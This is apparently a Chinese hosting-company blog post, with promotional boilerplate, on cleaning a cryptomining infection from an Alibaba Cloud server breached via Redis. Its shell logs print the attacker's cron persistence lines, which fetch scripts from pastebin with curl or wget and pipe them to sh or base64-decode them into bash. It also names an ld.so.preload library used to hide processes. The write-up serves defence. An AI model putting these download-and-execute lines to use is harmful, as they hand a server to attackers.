这篇文章将为大家详细讲解有关如何进行服务器被用来挖矿的异常问题处理,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。
让客户满意是我们工作的目标,不断超越客户的期望值来自于我们对这个行业的热爱。我们立志把好的技术通过有效、简单的方式提供给客户,将通过不懈努力成为客户在信息化领域值得信任、有价值的长期合作伙伴,公司提供的服务项目有:国际域名空间、雅安服务器托管、营销软件、网站建设、普兰网站维护、网站推广。
公司一台阿里云ECS服务器分配给某团队的开发人员拿去做开发测试机,不幸被人利用redis漏洞黑入把服务器用来挖矿了。下面是处理过程:
基本情况:
由于是开发测试机,分配之后全权给开发人员使用了,且直接给的root账号。观察到该ECS的CPU占用异常,好几天都是100%,同时今天收到阿里云的安全告警说该ECS疑似有挖矿程序。
初步核查:
1、CPU占用一直在99%~100%,但top查看不到高占用的进程;
2、root用户下发现来历不明的定时任务且删除后隔几分钟还是会自动添加。
[root@dev cron.d]# crontab -l
*/23 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev cron.d]#
处理过程:
1、首先修改了root账号的密码,并禁用了SSH的root登陆配置;
然后参考网上资料进行了如下处理:
(注意:清理前最好与正常的系统对比一下,确认哪些是正常系统不会有的)
2、处理来历不明的定时任务
一开始只用crontab -e删除,但发现几分钟后又有了,所以肯定还有别的配置,后面依次排查了/etc/cron*目录和/var/spool/cron/root等处,与正常系统对比确认后,全部删除,观察半小时以上,终于确认干掉了来历不明的定时任务。
[root@dev cron.d]# crontab -l
*/23 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev cron.d]#
[root@dev cron.d]# grep curl *
apache:*/17 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
root:*/10 * * * * root (curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
[root@dev cron.d]#
[root@dev cron.daily]# ll
total 12
-rwx------ 1 root root 180 Jul 10 2003 logrotate
-rwx------ 1 root root 927 Mar 22 2017 makewhatis.cron
-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner
[root@dev cron.daily]# grep curl *
oanacroner:(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
[root@dev cron.daily]# pwd
/etc/cron.daily
[root@dev cron.daily]# ll /etc/cron.daily/oanacroner
-rwxr-xr-x 1 root root 116 Mar 23 2017 /etc/cron.daily/oanacroner
[root@dev cron.daily]#
[root@dev log]# ll /var/spool/cron/root
-rw-r--r-- 1 root root 113 Mar 23 2017 /var/spool/cron/root
[root@dev log]# cat /var/spool/cron/root
*/23 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev log]#
[root@dev cron.d]# ll /var/spool/cron/crontabs/root
-rw-r--r-- 1 root root 113 Mar 23 2017 /var/spool/cron/crontabs/root
[root@dev cron.d]# cat /var/spool/cron/crontabs/root
*/31 * * * *(curl -fsSL https://pastebin.com/raw/1NtRkBc3||wget -q -O- https://pastebin.com/raw/1NtRkBc3)|sh
##
[root@dev cron.d]#
[root@dev cron.d]# date;crontab -l
Wed Oct 10 10:35:19 CST 2018
no crontab for root
[root@dev cron.d]#
[root@dev cron.hourly]# ll
total 8
-rwxr-xr-x 1 root root 409 Aug 24 2016 0anacron
-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner
[root@dev cron.hourly]# grep curl *
oanacroner:(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
[root@dev cron.hourly]# pwd
/etc/cron.hourly
[root@dev cron.hourly]#
[root@dev etc]# cd cron.monthly
[root@dev cron.monthly]# ll
total 4
-rwxr-xr-x 1 root root 116 Mar 23 2017 oanacroner
[root@dev cron.monthly]# grep curl *
(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash
[root@dev cron.monthly]# pwd
/etc/cron.monthly
[root@dev cron.monthly]#
3、清理异常的文件
首先尝试解决top命令查看不到大量占用CPU的异常进程的问题
参考网上资料,发现此处文件很可疑(正常系统不存在这个文件):
[root@dev tmp]# cd /usr/local/lib/
[root@dev lib]# ls
libDNS.so
[root@dev lib]# ll
total 12
-rwxr-xr-x 1 root root 9436 Mar 23 2017 libdns.so
[root@dev lib]# pwd
/usr/local/lib
[root@dev lib]#
删除后top查看
kill掉大量占用CPU的2个异常进程的PID后,系统CPU占用很快就恢复正常了。
解决图中的报错:
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
[root@dev lib]# ll /etc/ld.so.preload
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
-rw-r--r-- 1 root root 50 Mar 23 2017 /etc/ld.so.preload
[root@dev lib]# vi /etc/ld.so.preload
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/libdns.so' from /etc/ld.so.preload cannot be preloaded: ignored.
[root@dev lib]# vi /etc/ld.so.preload
[root@dev lib]# ll /etc/ld.so.preload
-rw-r--r-- 1 root root 0 Oct 10 11:53 /etc/ld.so.preload
[root@dev lib]# rm -f /etc/ld.so.preload
[root@dev lib]# ll /etc/ld.so.preload
ls: cannot access /etc/ld.so.preload: No such file or directory
[root@dev lib]#
删除/etc/ld.so.preload后上面的报错就没了。
后面继续排查,使用chkconfig --list发现有异常的开机启动服务netdns,根据名字的相关性,合计查到下面的文件都是异常的,与正常系统对比后删除。
/bin/dns
/usr/sbin/netdns
/etc/init.d/netdns(/etc/rc.d/init.d/netdns)
此外还有/tmp目录下的一些文件
关于如何进行服务器被用来挖矿的异常问题处理就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。